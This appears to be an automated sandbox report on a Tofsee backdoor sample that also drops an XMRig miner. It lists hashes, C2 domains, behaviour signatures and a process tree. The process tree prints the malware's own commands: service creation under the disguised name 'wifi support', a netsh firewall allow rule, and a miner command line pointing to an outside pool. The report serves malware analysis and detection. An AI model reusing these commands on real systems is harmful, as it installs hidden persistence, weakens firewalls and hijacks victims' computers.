Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    27-03-2023 15:29

General

  • Target

    file.exe

  • Size

    250KB

  • MD5

    6263d643c0d58b6c2a93a84b52305cab

  • SHA1

    e7170cb232b503e0f4e855cd971a4fb85b7fad01

  • SHA256

    e3b2d5d28090159d5f3e1587633085ece2fc54a369f2685252909f1bbb28cc3a

  • SHA512

    1c2ce485cd07663f3e60a22a9e9124f0d7029ed41909bd1cc455a4f05a40d73f850a2554e405276e203ed362bb995ae5781b51fb21faa1e86069936c741ee64c

  • SSDEEP

    3072:f15ld/jSIFzGdkYLYtKy+UUOrD+tVVe71rOFqdbRzSAvX0pj4yMvfj5qvEPbX:dLdDz+kYLgKbUpro81OFqLvqj4yMAvE

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1968
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ljljvrey\
      2⤵
        PID:1920
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zplavnlt.exe" C:\Windows\SysWOW64\ljljvrey\
        2⤵
          PID:560
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ljljvrey binPath= "C:\Windows\SysWOW64\ljljvrey\zplavnlt.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:268
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ljljvrey "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1540
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ljljvrey
          2⤵
          • Launches sc.exe
          PID:1100
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1764
      • C:\Windows\SysWOW64\ljljvrey\zplavnlt.exe
        C:\Windows\SysWOW64\ljljvrey\zplavnlt.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:388
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:940
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1788

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\zplavnlt.exe
        Filesize

        14.9MB

        MD5

        57ed0c7b8d2ea3e8dd6c842209cf88b2

        SHA1

        d170ec3a9b1dbd1395c887421f757ee67a9c2976

        SHA256

        855d9120040b06139a67f33a9c7d17d6d0e21d5c392f04fb233c37c4900ee962

        SHA512

        8021bec3ce4c6738b088cfb36ecccd0f5f792def04e66b8c43798b283f37e868b1da76e3c95381670a2a471c8e16d14036bfbcd2b2643d3b2880f44129498f35

      • C:\Windows\SysWOW64\ljljvrey\zplavnlt.exe
        Filesize

        14.9MB

        MD5

        57ed0c7b8d2ea3e8dd6c842209cf88b2

        SHA1

        d170ec3a9b1dbd1395c887421f757ee67a9c2976

        SHA256

        855d9120040b06139a67f33a9c7d17d6d0e21d5c392f04fb233c37c4900ee962

        SHA512

        8021bec3ce4c6738b088cfb36ecccd0f5f792def04e66b8c43798b283f37e868b1da76e3c95381670a2a471c8e16d14036bfbcd2b2643d3b2880f44129498f35

      • memory/388-64-0x0000000000400000-0x0000000000702000-memory.dmp
        Filesize

        3.0MB

      • memory/940-88-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/940-61-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/940-62-0x0000000000110000-0x0000000000125000-memory.dmp
        Filesize

        84KB

      • memory/940-90-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/940-107-0x00000000001C0000-0x00000000001C7000-memory.dmp
        Filesize

        28KB

      • memory/940-67-0x0000000000110000-0x0000000000125000-memory.dmp
        Filesize

        84KB

      • memory/940-68-0x0000000000110000-0x0000000000125000-memory.dmp
        Filesize

        84KB

      • memory/940-69-0x0000000000110000-0x0000000000125000-memory.dmp
        Filesize

        84KB

      • memory/940-71-0x0000000001930000-0x0000000001B3F000-memory.dmp
        Filesize

        2.1MB

      • memory/940-74-0x0000000001930000-0x0000000001B3F000-memory.dmp
        Filesize

        2.1MB

      • memory/940-89-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/940-78-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/940-91-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/940-82-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/940-83-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/940-84-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/940-85-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/940-86-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/940-87-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/940-105-0x0000000005530000-0x000000000593B000-memory.dmp
        Filesize

        4.0MB

      • memory/940-75-0x00000000000C0000-0x00000000000C6000-memory.dmp
        Filesize

        24KB

      • memory/940-60-0x0000000000110000-0x0000000000125000-memory.dmp
        Filesize

        84KB

      • memory/940-81-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/940-92-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/940-93-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/940-94-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/940-95-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/940-96-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/940-97-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/940-98-0x00000000001B0000-0x00000000001B5000-memory.dmp
        Filesize

        20KB

      • memory/940-101-0x00000000001B0000-0x00000000001B5000-memory.dmp
        Filesize

        20KB

      • memory/940-102-0x0000000005530000-0x000000000593B000-memory.dmp
        Filesize

        4.0MB

      • memory/940-106-0x0000000000110000-0x0000000000125000-memory.dmp
        Filesize

        84KB

      • memory/1788-111-0x00000000001C0000-0x00000000002B1000-memory.dmp
        Filesize

        964KB

      • memory/1788-112-0x00000000001C0000-0x00000000002B1000-memory.dmp
        Filesize

        964KB

      • memory/1788-116-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/1788-121-0x00000000001C0000-0x00000000002B1000-memory.dmp
        Filesize

        964KB

      • memory/1788-120-0x00000000001C0000-0x00000000002B1000-memory.dmp
        Filesize

        964KB

      • memory/1788-119-0x00000000001C0000-0x00000000002B1000-memory.dmp
        Filesize

        964KB

      • memory/1788-123-0x00000000001C0000-0x00000000002B1000-memory.dmp
        Filesize

        964KB

      • memory/1788-122-0x00000000001C0000-0x00000000002B1000-memory.dmp
        Filesize

        964KB

      • memory/1788-124-0x00000000001C0000-0x00000000002B1000-memory.dmp
        Filesize

        964KB

      • memory/1968-56-0x0000000000220000-0x0000000000233000-memory.dmp
        Filesize

        76KB

      • memory/1968-66-0x0000000000400000-0x0000000000702000-memory.dmp
        Filesize

        3.0MB